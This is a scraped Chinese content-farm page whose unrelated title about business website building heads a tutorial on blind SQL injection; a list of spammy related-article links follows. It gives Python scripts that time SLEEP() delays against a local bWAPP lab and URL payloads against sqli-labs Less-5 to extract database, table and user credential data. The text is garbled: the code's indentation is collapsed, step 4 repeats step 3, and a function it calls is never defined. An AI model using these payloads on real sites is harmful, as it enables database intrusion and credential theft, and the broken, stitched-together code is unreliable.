当前位置: 首页 > news >正文

商务网站规划与建设的目的商丘市建立网站公司

商务网站规划与建设的目的,商丘市建立网站公司,宁波网站建设一般多少钱,如何优化公司网站时间盲注 1.原理: 它利用数据库查询的延迟来推断注入语句是否成功执行,从而在不直接看到查询结果的情况下提取信息。 ​ 在时间盲注中,攻击者构造的注入语句会使数据库执行一个耗时操作(如休眠一段时间),然…

时间盲注

1.原理:
它利用数据库查询的延迟来推断注入语句是否成功执行,从而在不直接看到查询结果的情况下提取信息。
​
在时间盲注中,攻击者构造的注入语句会使数据库执行一个耗时操作(如休眠一段时间),然后根据Web应用程序的响应时间来判断注入语句是否被执行。如果注入成功,数据库会按照攻击者的要求休眠,导致应用程序的响应时间明显增加;如果注入失败,则响应时间不会发生变化。

适用场景:没有数据回显,条件正确与否结果一样

利用方式:构造判断条件,添加sleep,逐个猜测

2.时间盲注通常用于以下情况:
  1. 错误信息被禁用:当数据库或应用程序配置为不显示错误信息时,攻击者无法通过错误信息直接判断注入是否成功。

  2. 基于布尔的盲注受限:在某些情况下,基于布尔的盲注(通过True/False判断提取信息)可能受到限制,例如应用程序对响应内容进行了过滤或编码。

3.时间盲注的基本步骤如下:
  1. 构造注入语句:攻击者构造一个包含休眠函数的SQL注入语句。例如,在MySQL中,可以使用SLEEP()函数:

    SELECT * FROM users WHERE id = '1' AND (IF(条件, SLEEP(5), NULL));

    如果条件为真,数据库会休眠5秒。

  2. 发送请求:攻击者将构造的注入语句发送到目标应用程序。

  3. 观察响应时间:攻击者观察应用程序的响应时间。如果响应时间明显增加,说明注入语句中的条件为真,数据库执行了休眠操作。

  4. 逐位提取信息:通过构造不同的条件,攻击者可以逐位提取数据库中的信息。例如,判断某个字符是否等于特定值,然后根据响应时间来确定每一位的值。

例子:

1.构造sql语句
import requests
import  time
HEAD={"Cookie":"security_level=0; PHPSESSID=ijgbo5f94rr6ahbg1gp9ogdj53"
}
B_URL="http://localhost:8090/bwapp/bWAPP/sqli_15.php?"
def get_database_length():for i in range(100):url=B_URL+f"title=Iron Man' and length(database())={i} and sleep(1) -- + &action=search"start_time=time.time()requests.get(url,headers=HEAD)if time.time()-start_time>1:print(f"数据库名长度为{i}")return iif __name__=='__main__':get_database_length()

这里用开始时间减去响应完成的时间,算出整个过程的时间,如果大于1,说明sleep运行了,最后输出一下数据库名长度

2.求解数据库名称
def get_database_name(lens):name=""for i in range(lens):for j in range(30,130):url=B_URL+f"title=Iron Man' and ascii(substr(database(),{i+1},1))={j} and sleep(1) -- + &action=search"start_time=time.time()requests.get(url,headers=HEAD)if time.time()-start_time>1:name+=chr(j)print(name)return name
if __name__=='__main__':get_database_name(get_database_length())
3.求解该数据库中有几张表
def get_table_count():for i in range(100):url = B_URL + f"title=Iron Man' and (select count(table_name) from information_schema.tables where table_schema=database())={i} and sleep(1) -- + &action=search"start_time = time.time()requests.get(url, headers=HEAD)if time.time() - start_time > 1:print(f"该数据库一共有{i}张表")return i
if __name__=='__main__':get_table_count()
4.求解每个表名长度
def get_table_count():for i in range(100):url = B_URL + f"title=Iron Man' and (select count(table_name) from information_schema.tables where table_schema=database())={i} and sleep(1) -- + &action=search"start_time = time.time()requests.get(url, headers=HEAD)if time.time() - start_time > 1:print(f"该数据库一共有{i}张表")return i
if __name__=='__main__':get_table_count()
5.求解表名
def get_table_name(lens):a=[]for i in range(len(lens)):temp=""for j in range(lens[i]):for k in range(30,130):url = B_URL + f"title=Iron Man' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {i},1),{j+1},1))={k}  and sleep(1) -- + &action=search"start_time = time.time()requests.get(url, headers=HEAD)if time.time() - start_time > 1:temp+=chr(k)print(f"第{i+1}张表名为{temp}")a.append(temp)return a
if __name__=='__main__':get_table_name(get_table_leng(5))

Boolean盲注

(以sqli-labs less-5 (第五关)为例)

1.判断数据库长度及名字
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(database())=8 -- -#数据库长度为8
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and substr(database(),1,1)='s'-- -#security
2.使用group_concat()语句猜测表名
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=29 -- - #group_concat()默认用逗号隔开 ,所以表名加逗号的长度是29
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)='e' -- -    #猜测表的名字同时用burp爆破
3.接下来猜测user表中的字段名
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))=20 -- -  #字段名的长度20
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1)='i'-- -  #爆破字段名
4.同理爆破字段username和password的内容得到相应的账号密码
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length((select group_concat(username) from security.users))=91 -- -   #判断出所有的 username的长度加上符号的长度是91
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and substr((select group_concat(username) from security.users),1,1)='d' -- -爆破所有的username值

http://www.dtcms.com/a/476713.html

相关文章:

  • 濮阳做网站的电话汽车用品网站建设策划书
  • 营销网站的建设与管理包括哪些事项论坛打赏网站开发
  • 苏州做网站公司有哪些左右布局的网站
  • 深圳 服装 网站建设谈谈你在建设主题资源网站时
  • 手机 pc网站开发价格百度有几种推广方式
  • php网络公司网站源码湖南平台网站建设企业
  • 做会计要关注什么网站360网站卖东西怎么做
  • 海派虫网站推广软件如何对网站ftp进行上传
  • 化妆培训网站开发html做一个登录注册页面
  • 重庆企业做网站多少钱凡客诚品购物
  • 淘客网站建设收费吗飞凡网站建设
  • asp.net网站备份asp.net做网站的步骤
  • 做网站怎么加入索引功能一直在做竞价的网站是不是不需要做seo
  • 营销最好的网站建设公司网站的功能需求分析
  • 可以直接进入的舆情网站住建官网查询
  • 网站和系统的哪个容易做关键词如何排名在首页
  • 广东省网站备案注销三合一网站一般多少钱
  • asp.net网站开发技术双语企业网站源码
  • 如何制作一个静态网站源码wordpress分类门户主题
  • wordpress 获取友链网站seo推广
  • 佛山网站建站推广网页设计软件dw全称
  • 招商团队外包柳州seo培训
  • 龙华网站建设设计制作公司网址seo优化排名
  • 建站套餐和定制网站的区别江西网站建设找哪家
  • 济南高端建站广东网站推广公司
  • 张家界网站建设dcwork自己做网站能关联支付宝吗
  • 网站开发软件开发怎么样做淘宝网站用什么软件有哪些
  • 我想自己做网站吗微信自己开发小程序
  • 北京外贸行业网站建设网站建设费用的请示
  • 网站字体变大代码网站建设产品需求文档